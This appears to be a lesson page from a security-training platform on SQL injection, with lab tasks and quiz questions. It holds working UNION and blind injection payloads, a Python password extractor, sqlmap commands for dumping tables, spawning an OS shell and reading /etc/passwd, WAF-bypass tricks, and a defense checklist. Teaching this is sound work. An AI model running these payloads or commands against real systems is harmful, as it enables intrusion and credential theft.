SQL Injection: Exploitation & Defense In-Depth

Deep dive into SQL injection — in-band, blind, out-of-band, second-order, and WAF bypass techniques — with sqlmap and full defensive countermeasures.

Hard 75m 3 tasks

Learning Objectives

  • Exploit in-band (UNION) SQLi to extract database schema and data
  • Automate blind SQLi extraction with binary search
  • Use sqlmap for automated SQL injection discovery and exploitation
  • Identify and bypass common input sanitization and WAFs
  • Apply defense-in-depth: parameterized queries, ORM, least privilege, monitoring

Recall: What is SQLi?

User input concatenated into SQL → attacker changes query logic.

# VULNERABLE
query = "SELECT * FROM users WHERE username = '" + username + "'"

# username = admin'--
# Result: SELECT * FROM users WHERE username = 'admin'--'
# '--' comments out the rest → password check removed

Database Enumeration via UNION

Step 1: Determine column count

' ORDER BY 1--        (no error)
' ORDER BY 2--        (no error)
' ORDER BY 5--        (error → 4 columns)

-- Or with NULL:
' UNION SELECT NULL--           (error if 1 col)
' UNION SELECT NULL,NULL--      (error if 2 col)
' UNION SELECT NULL,NULL,NULL,NULL--  (works → 4 cols)

Step 2: Find string-injectable column

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--

Step 3: Extract database metadata (SQLite)

-- List all tables
' UNION SELECT name,NULL,NULL,NULL FROM sqlite_master WHERE type='table'--

-- MySQL
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables
  WHERE table_schema=database()--

-- List columns of a table
' UNION SELECT column_name,NULL,NULL,NULL
  FROM information_schema.columns WHERE table_name='users'--

-- Extract data
' UNION SELECT username,password,email,NULL FROM users--

Step 4: Concatenate multiple values in one column

-- SQLite
' UNION SELECT group_concat(username||':'||password),NULL,NULL,NULL FROM users--

-- MySQL
' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL,NULL FROM users--

Database Fingerprinting

-- Which DB?
' UNION SELECT @@version,NULL,NULL,NULL--          MySQL/MSSQL
' UNION SELECT version(),NULL,NULL,NULL--          PostgreSQL
' UNION SELECT sqlite_version(),NULL,NULL,NULL--   SQLite
' UNION SELECT NULL,NULL,NULL,NULL FROM dual--     Oracle (needs dual table)

-- Current user and DB
' UNION SELECT user(),database(),NULL,NULL--       MySQL
' UNION SELECT current_user,current_database(),NULL,NULL--  PostgreSQL

Blind SQLi – Boolean

When no data is reflected but app behaves differently:

-- True: page loads normally
' AND 1=1--

-- False: page is empty / different
' AND 1=2--

-- Extract first char of admin password
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='b'--
...

-- Binary search (much faster):
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 64--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 96--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 112--
# Python binary search blind SQLi extractor
import requests

URL = "https://target/search"

def char_at(pos: int) -> str:
    lo, hi = 32, 126
    while lo <= hi:
        mid = (lo + hi) // 2
        payload = f"' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1),{pos},1)) > {mid}--"
        r = requests.get(URL, params={"q": payload})
        if "found" in r.text:  # true condition
            lo = mid + 1
        else:
            hi = mid - 1
    return chr(lo)

password = "".join(char_at(i) for i in range(1, 33))
print("Password:", password)

Time-Based Blind SQLi

No visible difference — use response delay:

-- MySQL: SLEEP(5) if condition is true
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')>0, SLEEP(5), 0)--

-- PostgreSQL
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users LIMIT 1)--

-- SQLite (no native sleep — use heavy computation)
' AND (SELECT CASE WHEN (1=1) THEN RANDOMBLOB(100000000) ELSE 1 END)--

Second-Order SQLi

Payload stored safely, retrieved and used unsafely later:

-- Registration stores username with single quote:
username: admin'--

-- Login query using stored username (vulnerable):
query = "SELECT * FROM users WHERE username = '" + stored_username + "' AND active=1"
-- Executes: SELECT * FROM users WHERE username = 'admin'--' AND active=1
-- → bypasses active check!

-- Defense: parameterize ALL queries, including those using stored data

sqlmap – Automated SQLi

# Basic detection
sqlmap -u "https://target.com/search?q=test" --batch

# POST request
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch

# Custom headers
sqlmap -u "https://target.com/api/user"   -H "Authorization: Bearer TOKEN"   -H "Content-Type: application/json"   --data='{"id": 1}' --batch

# Extract database
sqlmap -u "URL" --dbs                    # list databases
sqlmap -u "URL" -D mydb --tables         # list tables
sqlmap -u "URL" -D mydb -T users --dump  # dump table

# Specific injection technique
sqlmap -u "URL" --technique=U   # UNION only
sqlmap -u "URL" --technique=B   # Boolean only
sqlmap -u "URL" --technique=T   # Time-based only

# WAF bypass
sqlmap -u "URL" --tamper=space2comment,randomcase,between
sqlmap -u "URL" --random-agent --delay=2

# OS command (if DB allows)
sqlmap -u "URL" --os-shell   # try to get OS shell via DB
sqlmap -u "URL" --file-read="/etc/passwd"

WAF Bypass Techniques

-- 1. Case variation
SeLeCt * FrOm users

-- 2. Comments as whitespace
SELECT/**/username/**/FROM/**/users

-- 3. URL encoding
%27 = '    %20 = space    %23 = #

-- 4. Double URL encoding
%2527 = %27 (decoded to ') by second decode

-- 5. Unicode normalization
SELECT (full-width chars normalize to SELECT on some DBs)

-- 6. Alternative keywords
UNION ALL SELECT instead of UNION SELECT
0x61 instead of 'a' (hex string)

-- 7. HTTP parameter pollution
?id=1&id=2 UNION SELECT... (some parsers take last value, WAF checks first)

-- 8. Chunked encoding bypass
Transfer-Encoding: chunked  WAF may not reassemble

-- sqlmap tamper scripts
randomcase     RaNdOm CaSe
space2comment  space  /**/
between        > x  BETWEEN x AND x+1

Defense Checklist

 Parameterized queries / prepared statements (ALWAYS)
 ORM  Django/SQLAlchemy (use raw() with params only)
 Least privilege DB user (no CREATE TABLE, no FILE)
 Input validation (type, length, format  secondary defense)
 Error handling  never show DB errors to users
 WAF as additional layer (not sole defense)
 Monitor for SQLi patterns in logs
 Pen test / automated scan before production

Using a DVWA or PortSwigger SQLi lab (Low security): (1) determine column count with ORDER BY, (2) find string-injectable column, (3) extract the database version, (4) list all tables, (5) dump the users table (username + password). Use Burp Repeater for each step — document the exact payload and result for each.

✦ Answer the questions to complete this task

What SQLite table stores database schema (table names)?

What does GROUP_CONCAT() do in SQLi exfiltration?

Write a Python script that extracts the admin password from a blind boolean SQLi endpoint: (1) implement binary search on ASCII values, (2) use SUBSTR() to check character by character, (3) detect true/false conditions by response length or content, (4) run the script and extract the full password. Then test for time-based as an alternative.

✦ Answer the questions to complete this task

Why is binary search better than linear search for blind SQLi?

Run sqlmap against a vulnerable target (e.g., DVWA with Low security or a local Flask vulnerable app): (1) detect injection with sqlmap -u URL, (2) list databases with --dbs, (3) dump the users table with --dump, (4) try WAF bypass with --tamper=randomcase,space2comment, (5) document which sqlmap technique was used (U/B/T/S/Q/E).

✦ Answer the questions to complete this task

What sqlmap flag dumps all data from a specific table?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

SQL Injection Advanced MCQ

SQL Injection Advanced MCQ

Start →
⚙️ Practical Medium +30 XP

Full SQLi Assessment

Full SQLi Assessment

Start →
🚩 Challenge Hard +50 XP

Extract the Secret

Extract the Secret

Start →